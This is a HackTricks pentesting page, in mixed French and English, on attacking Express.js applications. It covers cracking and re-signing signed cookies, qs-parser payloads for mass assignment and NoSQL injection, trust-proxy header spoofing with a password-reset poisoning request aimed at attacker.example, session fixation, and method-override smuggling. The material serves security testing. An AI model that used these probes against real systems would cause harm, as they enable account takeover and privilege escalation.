NodeJS Express

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Quick Fingerprinting

Indicateurs Express utiles pendant recon :

  • X-Powered-By: Express or stack traces mentioning express, body-parser, qs, cookie-parser, express-session, or finalhandler
  • Cookies prefixed with s: (signed cookie) or j: (JSON cookie)
  • Session cookies such as connect.sid
  • Hidden form fields or query parameters such as _method=PUT / _method=DELETE
  • Error pages leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, or URIError during query parsing

When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.

The tool https://github.com/DigitalInterruption/cookie-monster est un utilitaire pour automatiser le testing et la re-signature des secrets de cookie Express.js.

Express commonly exposes two useful cookie formats:

  • s:<value>.<sig> cookies signés gérés par cookie-parser ou express-session
  • j:<json> cookies JSON qui sont automatiquement parsés par cookie-parser

If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Wordlist personnalisée

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Tester plusieurs cookies en mode batch

cookie-monster -b -f cookies.json

Tester plusieurs cookies en batch mode avec une wordlist personnalisée

cookie-monster -b -f cookies.json -w custom.lst

Si vous connaissez le secret, vous pouvez signer le cookie.

cookie-monster -e -f new_cookie.json -k secret

Abus du Query String et du parseur URL-encodé

Les cibles Express deviennent souvent intéressantes lorsqu’elles analysent des clés contrôlées par un attaquant en objets imbriqués.

  • req.query peut être configuré avec différents parseurs, y compris qs
  • express.urlencoded({ extended: true }) utilise un parsing de type qs pour application/x-www-form-urlencoded
  • L’analyse imbriquée permet d’ouvrir la voie à object injection, mass assignment, NoSQL injection et prototype pollution si l’objet parsé est fusionné dans l’état de l’application

Payloads pratiques à essayer :

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

Si l’application reflète ou persiste l’objet résultant, passez aux pages dédiées pour les détails d’exploitation :

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Tests supplémentaires à envoyer spécifiquement contre Express :

  • Imbrication profonde pour rechercher des limites du parseur, des timeouts, ou des différences 400/413
  • Clés dupliquées pour vérifier si l’application conserve la première valeur, la dernière, ou un tableau
  • La syntaxe entre crochets comme a[b][c]=1, la syntaxe pointée comme a.b=1, et les payloads __proto__ / constructor[prototype]

Abus de trust proxy

Si l’application utilise app.set("trust proxy", true) ou fait confiance à trop de sauts, Express dérivera des valeurs pertinentes pour la sécurité à partir des en-têtes de forwarding. Si le reverse proxy ne les écrase pas, un client peut les usurper directement.

Cela affecte :

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

Cela est utile pour :

  • Password reset poisoning and absolute URL poisoning
  • Bypassing IP-based allowlists, rate limits, or audit trails
  • Influencer le traitement des cookies secure et la logique HTTPS-only dans les apps qui s’appuient sur req.protocol
  • Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Vérifiez si les liens générés, les emplacements de redirection, les logs ou les décisions de contrôle d’accès utilisent désormais des valeurs fournies par l’attaquant.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

Notes de test pour express-session

Les déploiements courants d’Express utilisent express-session, qui signe le cookie d’identifiant de session mais stocke l’état réel côté serveur.

Vérifications utiles :

  • Session fixation : authentifiez-vous avec un cookie pré-login et vérifiez si le SID reste le même après la connexion
  • Weak secret rotation : certains déploiements vérifient les cookies avec un tableau d’anciens secrets, donc des signatures auparavant valides peuvent continuer de fonctionner
  • saveUninitialized: true : l’application émet des sessions pré-auth pour des utilisateurs anonymes, ce qui facilite la fixation et augmente la surface de session pour des attaques par brute-force ou l’analyse du cache
  • MemoryStore en production indique généralement une maturité opérationnelle faible et un comportement des sessions instable lors des redémarrages

Un workflow pratique pour la session fixation :

  1. Obtenez un cookie de session anonyme depuis la cible.
  2. Envoyez ce cookie à une victime ou utilisez-le pour vous authentifier vous-même.
  3. Vérifiez si la connexion associe l’état authentifié au SID existant.
  4. Si c’est le cas, rejouez le même cookie dans une session de navigateur séparée.

Si l’app n’appelle pas req.session.regenerate() après l’authentification, la fixation est souvent encore possible.

Tunneling via method-override

Certaines apps Express utilisent method-override pour tunneliser des verbes que les formulaires HTML ne peuvent pas envoyer nativement. Lorsqu’il est activé, testez toujours si vous pouvez faire passer en contrebande des méthodes dangereuses via une route que le front-end, le WAF, ou la logique CSRF supposait être uniquement POST.

Sondes typiques :

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Impacts intéressants :

  • Accéder à des routes cachées PUT / PATCH / DELETE via un edge control limité à POST
  • Contourner un middleware spécifique à une route qui ne vérifie que req.method
  • Déclencher des handlers modifiant l’état via CSRF lorsque l’application ne valide que la méthode externe de la requête

Par défaut, le middleware ne remplace généralement que POST, donc privilégiez les requêtes POST avec header, body, and query-string override values.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks